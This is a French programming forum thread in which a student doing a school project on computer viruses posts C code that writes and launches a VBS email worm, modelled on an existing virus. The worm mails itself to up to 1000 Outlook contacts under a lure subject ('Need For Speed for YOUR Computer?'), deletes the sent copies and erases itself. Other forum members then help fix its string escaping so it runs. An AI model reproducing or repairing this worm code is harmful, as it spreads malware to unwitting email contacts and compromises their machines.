hazkaal
Messages postés67Date d'inscriptiondimanche 4 février 2007StatutMembreDernière intervention 4 novembre 2008
-
5 févr. 2008 à 11:31
victorcoasne
Messages postés1103Date d'inscriptionjeudi 24 avril 2003StatutMembreDernière intervention23 juillet 2023
-
6 févr. 2008 à 18:14
Bonjour,
Je suis en année de premiere scientifique (option SI) et l'heure du passage devant un jury pour le TPE approche.
J'ai choisit, comme thème les virus informatiques et j'ai dut en créer un. Malheureusement, il y a un problème dans le code. Ce virus a été programmé en C (avec Dev Cpp) et est inspiré du virus Xanax de Gygabite. En fait, ce code en C créé un fichier VBS (visual basic) pour l'infection mail et écrit dedans avec lma fonctionfprintf. La compilation du programme se passe normalement mais quand je test ce programme sur mon pc, celui ci plante : en effet, quand je met le code vbs en commentaires le pc n'en tient pas compte et le virus fonctionne normalement (sans infection mail) mais quand je met la fonctionfprintfaccessible à la compilation ça ne fonctionne pas...
Voici un extrait de mon programme avec le code VBS (avec lesfpintf) :
vfile = fopen("c:\\TPEvirus0708.vbs","wt"); if(vfile)
{
VirMsgBox("code en version VBS"); /* n'y passe pas ??? */
fprintf(vfile,"On Error Resume Next\n");
fprintf(vfile,"Dim TPEvirus0708, Mail, Counter, A, B, C, D, E, F\n");
fprintf(vfile,"Set TPEvirus0708 = CreateObject(%coutlook.application%c)\n", 34, 34);
fprintf(vfile,"Set Mail = TPEvirus0708.GetNameSpace(%cMAPI%c)\n", 34, 34);
fprintf(vfile,"For A = 1 To Mail.AddressLists.Count\n");
fprintf(vfile,"FOR B = Mail.AdressLists(A)\n");
fprintf(vfile,"Counter = 1\n");
fprintf(vfile,"Set C = TPEvirus0708.CreateItem(0)\n");
fprintf(vfile,"For D = 1 To B.AdressEntries.Count\n");
fprintf(vfile,"E = B.AdressEntries(Counter)\n");
fprintf(vfile,"C.Recipients.Add E\n");
fprintf(vfile,"Counter = Counter + 1\n");
fprintf(vfile,"If Counter > 1000 Then Exit For\n");
fprintf(vfile,"Next\n");
fprintf(vfile,"C.Subject = %cNeed For Speed for YOUR Computer? Try This!%c\n", 34, 34);
fprintf(vfile,"C.Body = %cTEXTE MESSAGE", 34);
fprintf(vfile,"TEXTE MESSAGE");
fprintf(vfile,"TEXTE MESSAGE%c", 34);
fprintf(vfile,"C.Attachments.Add %c%s%csystem%c%s%c\n, 34, Buffer, 92 ,92, CopyName, 34");
fprintf(vfile,"C.DeleteAfterSubmit = True\n");
fprintf(vfile,"C.Send\n");
fprintf(vfile,"E = %c%c\n", 34, 34);
fprintf(vfile,"Next\n");
fprintf(vfile,"Set F = CreateObject(%cScripting.FileSystemObject%c", 34, 34);
fprintf(vfile,"F.DeleteFile Wscript.ScriptFullName\n");
fclose(vfile);
}
VirMsgBox("005:execution du code VBS");
ShellExecute(NULL, "open", "TPEvirus0708.vbs", NULL, NULL, SW_SHOWNORMAL);
Je met des MessageBox pour qu'à l'installation du virus, des explications s'affichent (j'ai créé une fonction VirMsgBox pour cela).
On en vient donc à la question :
fprintfqui ne ferait pas planter le programme
Merci de votre <gras>Aide !!!
Cordialement !
--HAZKAAL--
victorcoasne
Messages postés1103Date d'inscriptionjeudi 24 avril 2003StatutMembreDernière intervention23 juillet 20237 5 févr. 2008 à 12:48
Bonjour,
Au fait bonne chance pour ton TPE.
Moi je suis en Terminale et je fais PPE, là c'est un truc chaud.
Commande du bras schrader à distance via un réseau informatique.
Il y a une ordinateur système relié à la carte électronique que je fais actuellement, cette carte est relié aux distributeurs. L'ordinateur système est relié à un réseau informatique.
Il y a un logiciel serveur (sur l'ordi système) et un logiciel client (pupitre virtuel).
hazkaal
Messages postés67Date d'inscriptiondimanche 4 février 2007StatutMembreDernière intervention 4 novembre 2008 5 févr. 2008 à 17:41
Salut,
Merci pour les réponses et pour l'encouragement c'est gentil
En fait mon programme est en C et ça m'embeterait de devoir tout refaire en C++...
mon programme marche à la compilation... C'est à l'execution qu'il plante... ...
heeeeelp please
Cordialement
Merci beacoup pour le soutient
--HAZKAAL--
Vous n’avez pas trouvé la réponse que vous recherchez ?
cs_jfrancois
Messages postés482Date d'inscriptionvendredi 26 août 2005StatutMembreDernière intervention 5 décembre 20092 5 févr. 2008 à 18:17
Bonjour,
1) Le guillemet dans une chaîne se code avec " ! c'est plus simple que ces %c et 34
fprintf(vfile,"C.Body = %cxxx%c", 34,34);
devient
fprintf(vfile,"C.Body = "xxx"");
2) Open "c:\TPEvirus0708.vbs" et ShellExecute sans le "c:" ! Trouve-t-il le fichier créé ?
victorcoasne
Messages postés1103Date d'inscriptionjeudi 24 avril 2003StatutMembreDernière intervention23 juillet 20237 5 févr. 2008 à 18:42
Bonjour,
Pour passer en C++ il n'y a rien à changer à part l'extension du fichier .cpp au lieu de .c !
C'est magique sous Dev-C++. Si tu l'as mis dans un projet tu vas dans Option du projet > Fichiers > main.cpp et tu couche "Compiler en tant que C++" > OK et c'est fait.
Sinon tu débugge avec F8 et au moment ou ton prog plante tu regarde Dev-C++ tu mets un code en bleu : c'est où ça plante.
hazkaal
Messages postés67Date d'inscriptiondimanche 4 février 2007StatutMembreDernière intervention 4 novembre 2008 5 févr. 2008 à 18:43
Bonjour,
Je vais essayer en créant un fichier VBS vide... peut être qu'il le remplira si je fais ainsi... Je ne connais pas tres bien le VBS, y a t'il besoin d'un compilateur ???
Je vais aussi essayer en enlevant les %c et les 34...
Je vous tient au courant de mon avancée
Merci beaucoup pour l'aide que vous m'apportez
Cordialement.
--HAZKAAL--
victorcoasne
Messages postés1103Date d'inscriptionjeudi 24 avril 2003StatutMembreDernière intervention23 juillet 20237 5 févr. 2008 à 20:09
Bonjour,
C'est avec plaisir que je réponds à tes questions. Je te souhaite bonne chance pour ton TPE (Travaux Personnels Encadrés) et pour tes PPE (Projet Pluritechnique Encadré) si tu continue la SI (Sciences de l'Ingénieur).
hazkaal
Messages postés67Date d'inscriptiondimanche 4 février 2007StatutMembreDernière intervention 4 novembre 2008 6 févr. 2008 à 16:32
Bonjour,
Désolé, il y a eu un probleme au postage...
Merci acx01b, ta techinque fonctionne :)
Mais j'ai néemmoins un probleme : à quoi servent les ",34" et ",92" dans mon code ??? Car je croix que c'est ça qu'il le fait planter :s ...
Merci de votre aide qui m'est très précieuse !!!
A bientôt
The HazKaaL
cs_jfrancois
Messages postés482Date d'inscriptionvendredi 26 août 2005StatutMembreDernière intervention 5 décembre 20092 6 févr. 2008 à 16:59
fprintf("...%c...",34) : le %c est remplacé par le caractère de code ASCII 34 qui est le guillement.
fprintf("..."...") : fait la même chose directement dans la chaîne.
92 code ASCII du backslash ("") --> fprintf("...%c...",92) fprintf("...\\...")
Il y a 2 '%' dans ta chaine donc 2 paramètres sont à ajouter après la chaine donc dans ton cas il y en a 4 en trop il me semble.
Ensuite %s signifie si je ne me trompe une chaine de caractère or 34 n'est pas une chaine de caractère dont plantage.
Pour un entier je crois que c'est %d .
hazkaal
Messages postés67Date d'inscriptiondimanche 4 février 2007StatutMembreDernière intervention 4 novembre 2008 6 févr. 2008 à 15:55
Error convertoring HTML to XHTML: System.Exception: Unexpected EOF parsing start tag 'a'
at FreeTextBoxControls.Support.Sgml.Entity.Error(String msg, String arg)
at FreeTextBoxControls.Support.Sgml.SgmlReader.ParseStartTag(Char ch)
at FreeTextBoxControls.Support.Sgml.SgmlReader.ParseTag(Char ch)
at FreeTextBoxControls.Support.Sgml.SgmlReader.Read()
at System.Xml.XmlWriter.WriteNode(XmlReader reader, Boolean defattr)
at FreeTextBoxControls.Support.Formatter.HtmlToXhtml(String input)
cs_jfrancois
Messages postés482Date d'inscriptionvendredi 26 août 2005StatutMembreDernière intervention 5 décembre 20092 6 févr. 2008 à 17:33
Dans une chaîne de caractères le backslash (\) introduit un caractère spécial qui ne peut pas être placé directement, comme les guillemets qui servent déjà à délimiter la chaîne ! on appelle cela une séquence escape.
Séquence escape Représente
\a Beep système
\b Backspace
\f Saut de page
\n Saut de ligne
\r Retour chariot
\t Tabulation horizontale
\v Tabulation verticale
\' '
" "
\\ \
\? ?
\0 Introduit un nombre en octal, ex \0101 = décimal 65 = lettre A
\x Introduit un nombre en hexadécimal, ex: \x41 = décimal 65 = lettre A
Le \ devant tout autre caractère non prévu donnera le caractère lui-même : \k --> k
ce qui est incorrect : les backslaches ne sont pas suivis du caractère qu'ils introduisent. Je pense qu'ici il faut les doubler puisqu'ils codent le \ dans un chemin d'accès a priori ! et le " final du format est mal placé.
victorcoasne
Messages postés1103Date d'inscriptionjeudi 24 avril 2003StatutMembreDernière intervention23 juillet 20237 6 févr. 2008 à 18:14
Bonjour,
Si tu veux écrire :
C.Attachments.Add "C:\Windows\system\un fichier.txt" Où :
C:\Windows Est stocké dans :
variable1 Et Où :
un fichier.txt Est stocké dans :
variable2 Tu met :
fprintf(fol,"C.Attachments.Add "%s\\system\\%s"", variable1, variable2);
Et si tu veux aller à la ligne après le " tu rajoute \n
Attention variable1 et variable2 sont deux variables en C++ de type char* (chaine de caractères)